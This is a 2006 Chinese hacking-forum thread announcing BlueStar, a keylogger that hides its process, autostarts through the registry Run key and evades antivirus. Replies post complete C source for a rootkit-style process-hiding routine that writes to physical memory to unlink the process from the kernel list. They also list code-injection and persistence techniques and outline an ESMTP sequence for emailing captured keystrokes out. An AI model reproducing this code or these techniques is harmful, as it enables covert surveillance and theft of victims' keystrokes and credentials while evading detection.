65 123
发新话题
打印

[原创]键盘记录工具BlueStar Beta v0.99

[原创]键盘记录工具BlueStar Beta v0.99

软件作者:李丰初  2006年11月28日于公司
信息来源:邪恶八进制信息安全团队(www.eviloctal.com
  
V. 进程隐藏功能,在系统任务管理器里找不到此进程
1,程序实现了一般的键盘记录,中文不能识别
2,记录存放在本程序根目录下,以BlueStar_2008_11_12.log存在
3,注册表RUN自启动
4:这个东东的由来,最近搞服务器的时候老是遇一台服务器里面装PCanywhere的控件台,里面有N多的客户机,从网上下载的键盘记录器老是被杀毒软件给KILL了,有些不能自启动,叹,于是就自己写了,自启动本来写成系统服务的,但想想,服务器没有人登录时就运行的话,没有这个必要,因为这个键盘记录器又不是GINA,呵呵,,所以还是直接在注册表RUN算了
5:程序加了个北斗壳9K多,不加有20K,今天的测试的时候用卡吧6.0不报(没有开注册表监视)
6:程序类似的已经有蛮多了,只是写个给适合自己的要求来用

PS:开发东东用VC++6.0,准备出下个版本,记录指定的窗口程序,发邮件功能那个就暂时不考虑,键盘记录器写写就写**盗号木马就违背我的初衷了.本程序只做安全测试,一切后果用者负责.如果有什么问题,请及时联系我,感谢ING!
  
再PS一下:本程序实现了XP与NT系统的隐藏功能,此项功能个人感觉比较满意,但过不了冰刀,
当时隐藏想做成驱动级的,但会多了一个SYS文件,估计驱动级的隐藏进程能过冰刀,下个版会考虑加上去

附件

BlueStar.rar (8 KB)

2006-11-28 18:16, 下载次数: 1204

倚剑天涯过客,细水竹楼,杏酒花雨一杯,把酒歌,柳絮东来燃花,歌谓吾忧,孤影月下寻欢,清明花谢,谢落细柳坟前;一杯酒,一人饮尽一人冥,两茫茫,香尽人绝,唯有碧中血;---------------丰初

TOP

加个发送到邮箱的功能吧  [s:35]

TOP

为什么每一个字符都会记录4个

wwwwssssmmmm      mmmmeeeeiiii   2222yyyyiiii   ggggeeee      zzzziiiiffffuuuu      ddddoooouuuu   hhhhuuuuiiii   2222jjjjiiiilllluuuu      sssshhhhaaaannnngggg

TOP

引用:
引用第3楼lifediy2006-11-29 11:59发表的:
为什么每一个字符都会记录4个

wwwwssssmmmm      mmmmeeeeiiii   2222yyyyiiii   ggggeeee      zzzziiiiffffuuuu      ddddoooouuuu   hhhhuuuuiiii   2222jjjjiiiilllluuuu      sssshhhhaaaannnngggg
我也遇到的了。。。

TOP

驱动的隐藏也过不了冰韧的吧 hackdefender那么牛 还不是过不了..

TOP

好东西当然要顶一下了,我感觉如果公布原代码的话就可以加个精了
love hack

TOP

QUOTE:
引用第3楼lifediy于2006-11-29 11:59发表的:
为什么每一个字符都会记录4个

wwwwssssmmmm    mmmmeeeeiiii  2222yyyyiiii  ggggeeee    zzzziiiiffffuuuu    ddddoooouuuu  hhhhuuuuiiii  2222jjjjiiiilllluuuu    sssshhhhaaaannnngggg


我也遇到的了。。。



A::
  我测试的时候并没有出现类似的情况,如果方便的话捉下图,,谢谢你们了....
倚剑天涯过客,细水竹楼,杏酒花雨一杯,把酒歌,柳絮东来燃花,歌谓吾忧,孤影月下寻欢,清明花谢,谢落细柳坟前;一杯酒,一人饮尽一人冥,两茫茫,香尽人绝,唯有碧中血;---------------丰初

TOP

1.Win2000 SP4 Pro下测试通过,基本功能都有了,稳定性也可以,细节处理的也不错,可以看出楼主是个很细心的人。其它平台没有测试,可能还存在一些小的BUG,一般隐藏进程在驱动级hook ZwQuerySystemInformation,楼主用的那段隐藏进程的代码在网上引用的很广泛,是在ring3下修改内存实现的,貌似是rootkit.com上的代码,原作者究竟是谁也不知道了。
2.把下面的代码直接保存为一个头文件hide.h,然后在你自己的程序中包含这个头文件就ok了,只要调用一下HideProcess()就可以隐藏进程了,怕怕,泄露了楼主的机密,不知是否会被楼主砍:)
我不是本区版主,所以无权加精,见谅
3.注册表RUN自启动:这个小伙子很实在!^_^
复制内容到剪贴板
代码:
#include<windows.h>
#include<Accctrl.h>
#include<Aclapi.h>


#define NT_SUCCESS(Status)((NTSTATUS)(Status) >= 0)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
#define STATUS_ACCESS_DENIED ((NTSTATUS)0xC0000022L)

BOOL HideProcess();

////////////////


/////////////////


typedef LONG NTSTATUS;

typedef struct _IO_STATUS_BLOCK
{
   NTSTATUS Status;
   ULONG Information;
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;

typedef struct _UNICODE_STRING
{
   USHORT Length;
   USHORT MaximumLength;
   PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

#define OBJ_INHERIT           0x00000002L
#define OBJ_PERMANENT        0x00000010L
#define OBJ_EXCLUSIVE        0x00000020L
#define OBJ_CASE_INSENSITIVE   0x00000040L
#define OBJ_OPENIF           0x00000080L
#define OBJ_OPENLINK        0x00000100L
#define OBJ_KERNEL_HANDLE      0x00000200L
#define OBJ_VALID_ATTRIBUTES   0x000003F2L

typedef struct _OBJECT_ATTRIBUTES
{
   ULONG Length;
   HANDLE RootDirectory;
   PUNICODE_STRING ObjectName;
   ULONG Attributes;
   PVOID SecurityDescriptor;
   PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;

typedef NTSTATUS (CALLBACK* ZWOPENSECTION)(
   OUT PHANDLE SectionHandle,
   IN ACCESS_MASK DesiredAccess,
   IN POBJECT_ATTRIBUTES ObjectAttributes
   );

typedef VOID (CALLBACK* RTLINITUNICODESTRING)(
   IN OUT PUNICODE_STRING DestinationString,
   IN PCWSTR SourceString
   );

RTLINITUNICODESTRING RtlInitUnicodeString;
ZWOPENSECTION ZwOpenSection;
HMODULE g_hNtDLL = NULL;
PVOID g_pMapPhysicalMemory = NULL;
HANDLE g_hMPM = NULL;
OSVERSIONINFO g_osvi;
//---------------------------------------------------------------------------
BOOL InitNTDLL()
{
   g_hNtDLL = LoadLibrary("ntdll.dll");

   if (NULL == g_hNtDLL)
      return FALSE;

   RtlInitUnicodeString = (RTLINITUNICODESTRING)GetProcAddress( g_hNtDLL,

"RtlInitUnicodeString");
   ZwOpenSection = (ZWOPENSECTION)GetProcAddress( g_hNtDLL, "ZwOpenSection");

   return TRUE;
}
//---------------------------------------------------------------------------
VOID CloseNTDLL()
{
   if(NULL != g_hNtDLL)
      FreeLibrary(g_hNtDLL);

   g_hNtDLL = NULL;
}
//---------------------------------------------------------------------------
VOID SetPhyscialMemorySectionCanBeWrited(HANDLE hSection)
{
   PACL pDacl              = NULL;
   PSECURITY_DESCRIPTOR pSD   = NULL;
   PACL pNewDacl = NULL;
   
   DWORD dwRes = GetSecurityInfo(hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, NULL,

NULL, &pDacl, NULL, &pSD);

   if(ERROR_SUCCESS != dwRes)
   {

   if(pSD)
      LocalFree(pSD);
   if(pNewDacl)
      LocalFree(pNewDacl);
   }

   EXPLICIT_ACCESS ea;
   RtlZeroMemory(&ea, sizeof(EXPLICIT_ACCESS));
   ea.grfAccessPermissions = SECTION_MAP_WRITE;
   ea.grfAccessMode = GRANT_ACCESS;
   ea.grfInheritance= NO_INHERITANCE;
   ea.Trustee.TrusteeForm = TRUSTEE_IS_NAME;
   ea.Trustee.TrusteeType = TRUSTEE_IS_USER;
   ea.Trustee.ptstrName = "CURRENT_USER";

   dwRes = SetEntriesInAcl(1,&ea,pDacl,&pNewDacl);
   
   if(ERROR_SUCCESS != dwRes)
   {

   if(pSD)
      LocalFree(pSD);
   if(pNewDacl)
      LocalFree(pNewDacl);
   }
   dwRes = SetSecurityInfo

(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,NULL,NULL,pNewDacl,NULL);
   
   if(ERROR_SUCCESS != dwRes)
   {

   if(pSD)
      LocalFree(pSD);
   if(pNewDacl)
      LocalFree(pNewDacl);
   }

}
//---------------------------------------------------------------------------
HANDLE OpenPhysicalMemory()
{
   NTSTATUS status;
   UNICODE_STRING physmemString;
   OBJECT_ATTRIBUTES attributes;
   ULONG PhyDirectory;

   g_osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
   GetVersionEx (&g_osvi);

   if (5 != g_osvi.dwMajorVersion)
      return NULL;

   switch(g_osvi.dwMinorVersion)
   {
      case 0:
        PhyDirectory = 0x30000;
        break; //2k
      case 1:
        PhyDirectory = 0x39000;
        break; //xp
      default:
        return NULL;
   }

   RtlInitUnicodeString(&physmemString, L"\\Device\\PhysicalMemory");

   attributes.Length              = sizeof(OBJECT_ATTRIBUTES);
   attributes.RootDirectory        = NULL;
   attributes.ObjectName           = &physmemString;
   attributes.Attributes           = 0;
   attributes.SecurityDescriptor      = NULL;
   attributes.SecurityQualityOfService   = NULL;

   status = ZwOpenSection(&g_hMPM, SECTION_MAP_READ|SECTION_MAP_WRITE, &attributes);

   if(status == STATUS_ACCESS_DENIED)
   {
      status = ZwOpenSection(&g_hMPM, READ_CONTROL|WRITE_DAC, &attributes);
      SetPhyscialMemorySectionCanBeWrited(g_hMPM);
      CloseHandle(g_hMPM);
      status = ZwOpenSection(&g_hMPM, SECTION_MAP_READ|SECTION_MAP_WRITE, &attributes);
   }

   if(!NT_SUCCESS(status))
      return NULL;

   g_pMapPhysicalMemory = MapViewOfFile(g_hMPM, FILE_MAP_READ|FILE_MAP_WRITE, 0, PhyDirectory,

0x1000);

   if( g_pMapPhysicalMemory == NULL )
      return NULL;

   return g_hMPM;
}
//---------------------------------------------------------------------------
PVOID LinearToPhys(PULONG BaseAddress, PVOID addr)
{
   ULONG VAddr = (ULONG)addr,PGDE,PTE,PAddr;
   PGDE = BaseAddress[VAddr>>22];

   if (0 == (PGDE&1))
      return 0;

   ULONG tmp = PGDE & 0x00000080;

   if (0 != tmp)
   {
      PAddr = (PGDE & 0xFFC00000) + (VAddr & 0x003FFFFF);
   }
   else
   {
      PGDE = (ULONG)MapViewOfFile(g_hMPM, 4, 0, PGDE & 0xfffff000, 0x1000);
      PTE = ((PULONG)PGDE)[(VAddr&0x003FF000)>>12];
      
      if (0 == (PTE&1))
        return 0;

      PAddr=(PTE&0xFFFFF000)+(VAddr&0x00000FFF);
      UnmapViewOfFile((PVOID)PGDE);
   }

   return (PVOID)PAddr;
}
//---------------------------------------------------------------------------
ULONG GetData(PVOID addr)
{
   ULONG phys = (ULONG)LinearToPhys((PULONG)g_pMapPhysicalMemory, (PVOID)addr);
   PULONG tmp = (PULONG)MapViewOfFile(g_hMPM, FILE_MAP_READ|FILE_MAP_WRITE, 0, phys &

0xfffff000, 0x1000);
   
   if (0 == tmp)
      return 0;

   ULONG ret = tmp[(phys & 0xFFF)>>2];
   UnmapViewOfFile(tmp);

   return ret;
}
//---------------------------------------------------------------------------
BOOL SetData(PVOID addr,ULONG data)
{
   ULONG phys = (ULONG)LinearToPhys((PULONG)g_pMapPhysicalMemory, (PVOID)addr);
   PULONG tmp = (PULONG)MapViewOfFile(g_hMPM, FILE_MAP_WRITE, 0, phys & 0xfffff000, 0x1000);

   if (0 == tmp)
      return FALSE;

   tmp[(phys & 0xFFF)>>2] = data;
   UnmapViewOfFile(tmp);

   return TRUE;
}
//---------------------------------------------------------------------------
long __stdcall exeception(struct _EXCEPTION_POINTERS *tmp)
{
  ExitProcess(0);
  return 1 ;
}
//---------------------------------------------------------------------------
BOOL YHideProcess()
{
//   SetUnhandledExceptionFilter(exeception);

   if (FALSE == InitNTDLL())
      return FALSE;

   if (0 == OpenPhysicalMemory())
      return FALSE;

   ULONG thread  = GetData((PVOID)0xFFDFF124); //kteb
   ULONG process = GetData(PVOID(thread + 0x44)); //kpeb

   ULONG fw, bw;
   if (0 == g_osvi.dwMinorVersion)
   {
      fw = GetData(PVOID(process + 0xa0));
      bw = GetData(PVOID(process + 0xa4));      
   }

   if (1 == g_osvi.dwMinorVersion)
   {
      fw = GetData(PVOID(process + 0x88));
      bw = GetData(PVOID(process + 0x8c));
   }
      
   SetData(PVOID(fw + 4), bw);
   SetData(PVOID(bw), fw);

   CloseHandle(g_hMPM);
   CloseNTDLL();

   return TRUE;
}

BOOL HideProcess()
{
static BOOL b_hide = false;
if (!b_hide)
{
  b_hide = true;
  YHideProcess();
  return true;
}
return true;
}

TOP

2,记录存放在本程序根目录下,以BlueStar_2008_11_12.log存在
3,注册表RUN自启动
这两个功能不好 容易被发现
而且还不能实现网络发送功能
希望在下一版中实现

TOP

感谢gyzy帮助,
倚剑天涯过客,细水竹楼,杏酒花雨一杯,把酒歌,柳絮东来燃花,歌谓吾忧,孤影月下寻欢,清明花谢,谢落细柳坟前;一杯酒,一人饮尽一人冥,两茫茫,香尽人绝,唯有碧中血;---------------丰初

TOP

关于代码注入,有很多种方法,我列出一些,供丰初兄参考:
1.CreateRemoteThread
我博客上有个可以参考:http://www.xyzreg.net/gyzy/blog/read.php/9.htm
另外《windows核心编程》中就有这样的例子
2.SetThreadContext
这个没有在网上找到现成代码
3.替换现有服务的DLL
用DLL进行转发
4.修改目标文件引入表
幻影上有个帖子,可供参考:http://www.ph4nt0m.org/bbs/showt ... 15&pagenumber=1
5.修改注册表:
HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\ShellExecuteHooks  HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\Appinit_Dlls
....以及其它许多键值.Sysinternals有个工具Autoruns,几乎所有的自启动方法都被罗列了.
6.winlogon通知包,xx通知包
7.感染PE文件
...........太多了,让大家继续补充

TOP

今天刚回帖不到30分钟,GYZY就加我MSN了,,他喜欢上QQ,而我公司封杀了QQ.只能用MSN,郁闷,在MSN上聊到,原来gyzy与我早就见过面!!!在今年的安全焦点峰会上,只是当时无缘相识,,叹,,,,....
  

"1.CreateRemoteThread
我博客上有个可以参考:http://www.xyzreg.net/gyzy/blog/read.php/9.htm
另外《windows核心编程》中就有这样的例子
2.SetThreadContext
这个没有在网上找到现成代码"  这类似的方法可取.

"3.替换现有服务的DLL
用DLL进行转发"  这个我觉得有点绕远路走了,其实在注册表中可以直接把程序写成服务?为什么还要替换DLL,控制吧的直接写注册表成系统服务是比较简便的呀,可能GYZY兄想把搞成一个类似黑客之门启动方式的吧?呵呵,不过我这个只是小小的键盘记录器,牛刀杀鸡了,,,  :)


其他的四点键盘非常不错,如果想定成一个接近系统级的记录软件非常值得参考.再感谢gyzy,
倚剑天涯过客,细水竹楼,杏酒花雨一杯,把酒歌,柳絮东来燃花,歌谓吾忧,孤影月下寻欢,清明花谢,谢落细柳坟前;一杯酒,一人饮尽一人冥,两茫茫,香尽人绝,唯有碧中血;---------------丰初

TOP

关于线程注入,<<向其他进程注入代码的三种方法>>这篇文章不错
http://forum.eviloctal.com/read-htm-tid-21626.html

另付一个PDF格式的
http://netxfly.blogbus.com/files/1163491746.pdf


附件中的是我写的一个Demo


netxfly.dll是要存放被注入线程代码的DLL,放在e:根目录下即可

然后执行insert.exe <目标进程ID>,就可以把netxfly.dll中的代码注入到目标进程


Ps:上面那个Hide Process函数我测试没成功,请gyzy指点一下

附件

Codz.zip (48 KB)

2006-11-30 17:21, 下载次数: 65

TOP

附件中是我测试的代码

附件

HideProcess.zip (226 KB)

2006-11-30 17:24, 下载次数: 73

TOP

兄弟客气了,哪里提得上请教,交流!交流!
复制内容到剪贴板
代码:
#include "Hide.h"

int APIENTRY WinMain(HINSTANCE hInstance,
              HINSTANCE hPrevInstance,
              LPSTR    lpCmdLine,
              int     nCmdShow)
{
   // TODO: Place code here.
  MessageBox(NULL, "Content", "Title", MB_OK);
  HideProcess();
  
  
  return 0;
}
弹出对话框的时候阻塞了进程,HideProcess没有执行到,汗一个........两个语句交换下位置,我XP SP2下测试成功

TOP

呵呵,传错了,这是第一次的
后来我改成这样也不行,用任务管理器还是能看到
复制内容到剪贴板
代码:
// HideProcess.cpp : Defines the entry point for the application.
//

#include "Hide.h"

int APIENTRY WinMain(HINSTANCE hInstance,
              HINSTANCE hPrevInstance,
              LPSTR    lpCmdLine,
              int     nCmdShow)
{
    // TODO: Place code here.
   HideProcess();
   MessageBox(NULL, "Content", "Title", MB_OK);
   
   return 0;
}

附件

HideProcess.zip (30 KB)

2006-11-30 17:44, 下载次数: 73

TOP

嗯,我在测试过程中某些机子确实有不成功的情况,我也不知道什么原因,愿路过的大侠能为我们解惑

TOP

TO:netxfly
倚剑天涯过客,细水竹楼,杏酒花雨一杯,把酒歌,柳絮东来燃花,歌谓吾忧,孤影月下寻欢,清明花谢,谢落细柳坟前;一杯酒,一人饮尽一人冥,两茫茫,香尽人绝,唯有碧中血;---------------丰初

TOP

引用:
引用第17楼gyzy2006-11-30 17:55发表的:
嗯,我在测试过程中某些机子确实有不成功的情况,我也不知道什么原因,愿路过的大侠能为我们解惑
呵呵,这个代码是采用操作物理内存进ring0断链隐藏进程的,不过该代码处理不完善,导致内核模块为ntkrnlpa.exe等情况时取地址错误。
http://www.xyzreg.net

TOP

引用:
引用第12楼wwwst2006-11-30 12:41发表的:
今天刚回帖不到30分钟,GYZY就加我MSN了,,他喜欢上QQ,而我公司封杀了QQ.只能用MSN,郁闷,在MSN上聊到,原来gyzy与我早就见过面!!!在今年的安全焦点峰会上,只是当时无缘相识,,叹,,,,....
  .......
阁下就是今年安焦峰会上第一个提问题获得T恤的朋友?嘿嘿:)
http://www.xyzreg.net

TOP

引用:
引用第10楼wwwst2006-11-30 10:10发表的:
  一程序隐藏的时候,开始我是用如下的方法进行的:
  /* begin
  HINSTANCE myBlueStar;
  LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;
  myBlueStar = LoadLibrary("KERNEL32");
  lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS)GetProcAddress(myBlueStar, "RegisterServiceProcess");
   lpRegisterServiceProcess(GetCurrentProcessId(),1);
        OVER*/
此法是用在Win 9x下的,基于NT核心的平台下无效。 而且即使在win98下也只是在任务管理器下看不到,在msinfo32中就可以看到了:)
http://www.xyzreg.net

TOP

引用:
引用第18楼wwwst2006-11-30 18:30发表的:
TO:netxfly
  
  那个程序我下载来看了,有测试了几个程序,有些是可以的,但有些好似比较郁闷.....
          我再研究看看........

.......
或者自己编写个dll,把代码放进去,然后再远程注入explorer.exe

貌似在罗云彬的书上有个例子,不过他是把窗口编写成dll再注入

附件

RemoteThreadDll.rar (6 KB)

2006-12-1 00:25, 下载次数: 60

游戏吧  http://www.game8.cc/MyBlog    http://www.asm32.cn

TOP

引用:
当时也试了用注入线程explorer.exe,但老是出错,当时参考网上一些DLL注入explorer.exe的例子,但用EXE
      本身注入explorer却出错,希望gyzy能给些相关的例子或者资料参考下,好让我写出下个更加好的版本,对此
      非常感谢gyzy,站内我会发短信给你.........

.......
exe本身注入也不难......只是解决装载注入后函数地址,重定位问题,以免注入后的api找不到北.

http://bbs.pediy.com/showthread. ... &threadid=35067

这里有一个隐藏的,自己反了它貌似可以找到一些信息  [s:73]

楼主能开源吗? [s:73]

至于发送e-mail部分,楼主可以参考ESMTP 协议通讯,把HOOK到的日志钩子(也就是键盘记录)通过Base64编码发送到指定的地址....

Socket连接后, ESMTP 协议通讯 :
1、EHLO <Domain>\r\n
2、AUTH LOGIN\r\n
3、Base64_Username\r\n
4、Base64_Password\r\n
5、MAIL FROM:\r\n
6、RCPT TO:\r\n
7、DATA\r\n
8、发送数据\r\n.\r\n
9、QUIT\r\n

当然只是提供一个意见  [s:73]
游戏吧  http://www.game8.cc/MyBlog    http://www.asm32.cn

TOP

QUOTE:晚生就是今年安焦峰会上第一个提问题获得T恤的朋友?嘿嘿:)(厚着脸皮提问的搞笑问题)
A:  正是小生,呵呵,峰会相必你也去了吧?哪个,说不定我们早就认识了,嘿嘿!!...........我站内短信你,多多交流哦
  之前我一直测试用
/* begin
  HINSTANCE myBlueStar;
LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;
myBlueStar = LoadLibrary("KERNEL32");
lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS)GetProcAddress(myBlueStar, "RegisterServiceProcess");
  lpRegisterServiceProcess(GetCurrentProcessId(),1);
倚剑天涯过客,细水竹楼,杏酒花雨一杯,把酒歌,柳絮东来燃花,歌谓吾忧,孤影月下寻欢,清明花谢,谢落细柳坟前;一杯酒,一人饮尽一人冥,两茫茫,香尽人绝,唯有碧中血;---------------丰初

TOP

   额....目前我能注入explorer.exe等进程的,也只有一些片段API,例如把只实现某个功能的API注入进去..........
       看雪论坛的那个测试程序,我也找不到源码,遗憾.....  
   注入进程的API组合一般是 :FindWindow(这里也可以用快照)---GetWindowThreadProcessId---OpenProcess-----VirtualAllocEx-----WriteProcessMemory----CreateRemoteThread